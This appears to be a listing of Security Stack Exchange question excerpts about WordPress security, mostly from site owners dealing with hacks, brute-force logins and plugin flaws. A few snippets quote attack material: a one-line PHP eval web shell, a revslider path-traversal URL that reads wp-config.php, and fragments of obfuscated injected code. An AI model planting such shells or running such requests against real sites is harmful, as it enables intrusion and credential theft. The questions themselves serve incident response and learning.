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Obfuscated PHP code found in WordPress core files and plugins

I am running a Wordpress website and I've recently found this php code injected in many of my php files. https://www.unphp.net/decode/fb4715ee71b28135f6807389df42611c/ I tried adding some print_r(...
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Are inactive vulnerable Wordpress plugins still unsafe?

When you install a plugin in WordPress you can choose to activate or deactivate it. Let's say you have a plugin of which the latest version is vulnerable to XSS for example and you're waiting for a ...
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Can a simple comment on WordPress harm my system (CVE-2016-4567)?

What risks are associated with the WordPress vulnerability CVE-2016-4567? Cross-site scripting (XSS) vulnerability in flash/FlashMediaElement.as in MediaElement.js before 2.21.0, as used in ...
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How bot(s) have guessed my wordpress login page?

I have a wordpress site (fully patched) that used to receive many attempts to log in based on dictionary attacks. I changed my admin user to something uncommon and use a really strong password. ...
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Discouraging users from copying images off a website?

Let me begin by stating that I'm aware it's extremely tedious or virtually impossible to prevent individuals from pirating content. I'm working on a website for a client who is a relatively well ...
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How to perform TimThumb remote code execution over Wordpress sites?

When I was scanning a web application, Vulnerability scanner shows me that wordpress application has a vulnerability called TimThumb Remote Code Execution (referring Webshot feature). I went through ...
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sqlmap not finding a proven vulnerability

I'm testing a wordpress site with the jetpack plugin installed. According to: https://www.exploit-db.com/exploits/18126/ this plugin should be vulnerable to SQL injection (found with sqlmap) but when ...
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How to protect WordPress from brute-force attacks?

One of my WordPress sites is being constantly attacked with brute force. I have the WordFence and Clef plugins installed. The number of login attempts is limited to just one. The password is very ...
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website - infected by malware and if yes, how can I treat it? [closed]

A friend told me that the website of our association, here , got blocked by the corporate network of the company he is working for, due to malware (see picture below) I've tried a few website like ...
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Could someone help me deobfuscate this malicious script code [duplicate]

Two months ago one of our Wordpress sites was infested through and through. This was at the same time I started working at this company. Our main platform is Plone, but I guess they did some on the ...
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How could hackers get access to directory after hacking Wordpress at LinuxMint.com?

I am sure many have seen the news of the hack at Linux Mint. The ISOs were changed on 20th Feb with backdoored ISOs. They gained access via the LinuxMint Wordpress blog installation. How could they ...
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Need some help on Wordpress issue

When I am accessing my Wordpress website, for example: https://example.com/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php it's returning a page containing zero. Is ...
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Wordpress pingback attack

I am getting Wordpress pingback attach on my server. I tried to put if condition on nginx to block deny all requests that contains "Wordpress" in the header. It works fine but still nginx get millions ...
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Wordpress.org pages refresh when logging out of Gmail

I've noticed that when I change my Gmail account by logging out of one account and then logging into another, all open Wordpress.org pages refresh. Additionally, when I recently changed a password on ...
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WordPress site is infected with malware, cannot find dropper [duplicate]

I am in a bit of an annoying situation. I inherited responsibilities of a WordPress multisite once managed from from other contractors and that site has been infected with virus dropping malware. I ...
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Header.php keeps changing with JavaScript code in WordPress [duplicate]

I observed that my post on the blog takes too much time to load and I started to try finding out the issues behind it. I found there's a JavaScript code injected in header.php here: <?php <...
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All my PHP files has injected code in them. What do I do now? [duplicate]

I have like 10 websites on my account using WordPress and some custom coded websites. But all of my website files have this code at the beginning of every PHP file: <?php if(!isset($GLOBALS["\x61\...
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Wordpress - 3.9 - uploading a php file through media gallery

I'm using Wordpress 3.9.2. As we all know, Wordpress media-upload has some restrictions - you can't upload a PHP file, cause it may be malware. There is an app called: iCon2PHP that can merge php ...
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WordPress hacked, found suspicious file [duplicate]

Basically a website I am running got hacked in January and sent out a whole bunch of spam mails, traffic went through the roof, so the hosting company disabled the site back then, but that wasn't ...
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As a result of attack; random folders and files in public_html. What kind of attack is this?

As a result of attack there are random folders and php files inside them in public_html directories. Sites are Wordpress, Opencart or just HTML. All sites exposed to attack. Screenshot of the ...
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Wordpress: a Virus detection plugin is necessary?

Is a Virus detection plugin is necessary for WordPress nowadays? EDIT: I mean to prevent attacks and violations... for example i'm using this plugin: https://sucuri.net/wordpress-security/wordpress-...
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Block access using .htaccess vs password protect directories

I've come across a few articles about protecting the Wordpress admin. Is there any point of having both of these security measures in place, does one offer better security than the other? block ...
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Storing credit card information for later manual processing

I am rebuilding a clients eCommerce site using Wordpress and WooCommerce as the framework. Their current eCommerce site takes the credit card information and stores it for later manual processing. To "...
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How to add a malicious file scanner to live server?

One of my WordPress websites recently got hacked, and I had to download the full website to my local PC and clean it. As soon as I downloaded the website, my antivirus software found the malicious ...
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Random script injected in wordpress project [duplicate]

Recently a website in wordpress that is on a server of my customer appears with the script below randomly. Someone knows this pattern of virus/malware/exploit or something like this? <?php $...
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WordPress is asking for my FTP password to update. Is this official behavior or am I compromised?

I'm running a personal WordPress server and I have 3 pending updates: WP update from 4.2.2 to 4.3.1. Akismet plugin update to 3.1.5 which addresses XSS issues. Twenty-fifteen theme update. For ...
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Suspicious JavaScript in website header

I am not sure if this is the correct place to ask a questions such as this, apologies if it isn't. I have found the below code in the header of one of my wordPress websites, I am pretty sure it is ...
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Domain authenticated video links, prevent video link sharing

I'm running WordPress and I have s2member pro plugin. I have videos that I'd like any body to watch on my website and only on my website, I realize that they could record or capture the screen, it ...
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My Hacked(?) Wordpress Sites

Hi all I'm using a shared hosting and my hosting company is saying my sites have unwanted codes and in report: Your account had been used to attack our/other servers! Your account holds malicious ...
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Can I make my online server more secure using Docker?

I had my online web server ransacked, they got in through my hosted WordPress site and privilege escalated from there. I am wondering, if I put the WordPress in a Docker, would that go a decent way ...
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Wordpress infected with Trojan

So recently our (VPS CentOS6.5) server began hosting a WP site that was, or became, infected (via revslider plugin) with some kind of trojan (probably spam sender, as we ended up on Spamhaus list very ...
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Will Wordpress nonces protect against Login CSRF?

Can Wordpress Nonces be used to protect against Login CSRF? https://codex.wordpress.org/WordPress_Nonces I glanced through the code for the function and it seems to only be using the User ID for ...
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How did the hacker get access to my WordPress upload folder? [closed]

Yesterday I found out there is this http://pastebin.com/MRRny4Ht PHP file in my friends server. I want to know how was the hacker able to upload it there? I read the similar questions but couldn't ...
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Meaning of many failed login into my website

I installed Sucuri Security plugin on my wordpress site, and it reported me that my website has 10 failed login attempts by my registered username with from last night until now. My website hasn`t ...
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Malware in RevSlider plugin?

Maybe my WordPress site is hacked, because it's always send spams (5000 / day). I found one file in plugins folder which contains this base64 code. What shoul I do? EDIT: Oh, i found another one: ...
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Where to search for vulnerabilities in a WordPress theme? [closed]

I have been doing research on a custom WordPress theme. I'm not very familiar with this CMS and how it works on the inside: where should I start my security analysis? Should I look for SQL Injection (...
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Malware code in WordPress?

I'm pretty sure that we have malware code in our WordPress website - Here is the code in question, it is located at the top of every php file in the website; { $ua=strtolower($_SERVER["\x48\124\x54\...
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There was a potential harmful file on my server, What damage has it done? [closed]

I received an abuse complaint for my server from hosting provider. After a thorough search I found file with name "title.php" in a WordPress installation's upload directory. I am curious to know what ...
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What is this? Virus or scanner? [closed]

I found a new file in my WP root folder and contains this text: <?php ${"\x47\x4c\x4f\x42\x41\x4c\x53"}["jd\x67f\x6f\x77\x6a"]="\x64\x61\x74\x61\x5f\x6bey";${"\x47\x4c\x4f\x42\x41\x4c\x53"}["c\x63\...
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How can hackers access WordPress usernames? [duplicate]

Recently I've had brute force attack attempts on some of my WordPress sites and the attackers are using actual usernames other than the default admin (which was removed). How is it possible for them ...
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Is it secure not to have csrf protection in login forms?

I have noticed that WordPress doesn't have csrf protection for their admin panel login /wp-admin/. Does it actually posses any potential risk? Is there any possible ways there an attacker could ...
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Arbitrary file upload, serve JPG as PHP

I'm trying out random older WordPress exploits on my local server, I'm currently in the process trying to get this one to work: https://www.exploit-db.com/exploits/20083/ It doesn't read any headers,...
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Does it make sense to scan localhost site?

I was playing around with wpscan a little while ago. I was wondering if it makes sense to scan a site on your localhost server. I think that it is since there are examples like DVWA, but I imagine it ...
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Why Wordpress doesn't filter post_title?

Today, when I did some tests and found out that Wordpress doesn't filter the post_title. Respectively, I make posts with the titles: <?php while ( have_posts() ) : the_post(); echo 'Post Title'; ...
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Website Loading Content from Malicious Sites

I own a website. Now today I find that when I load the site, Chrome shows "waiting for xxx.com" and some other unknown sites. I never added content or links from these sites. The website is running on ...
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How to protect an outdated Wordpress Core and plugins

I have a Wordpress website from a client that was hacked (website is clean now). The Wordpress is version 3.3.1 and it has 42 active plugins. It's a nightmare in that installation, after many tries ...
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What to look for in a PHP file on my server to decide whether it is rogue or not?

I found this file in my folder named quarantine_wp_protect.php. This file sits outside the public_html folder. Inside this file is the following code: GIF89a???????????!??????,???????D?;?<?php $...
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Is this PHP file containing an eval to a POST variable an indication of compromise?

I found this file on my server, it contains the following code: GIF89a <?php eval ($_POST[plm12345plm]); ?> There is no other code beside that one above. Is this malicious?
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Someone Copied Our Site Code (Including Analytics) and Put Adult Content on It [closed]

Someone copied our WordPress based website and put it on another server and added adult content on it. It also includes our Google Analytics code so the traffic to this site also shows on our ...
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Are these access.log entries successful wordpress login attempts?

I am hosting some wordpress sites on an apache 2.4 webserver, and I have discovered thousands of entries in my server logs like this: 221.219.219.248 - - [09/Mar/2015:03:29:25 +1300] "GET /example....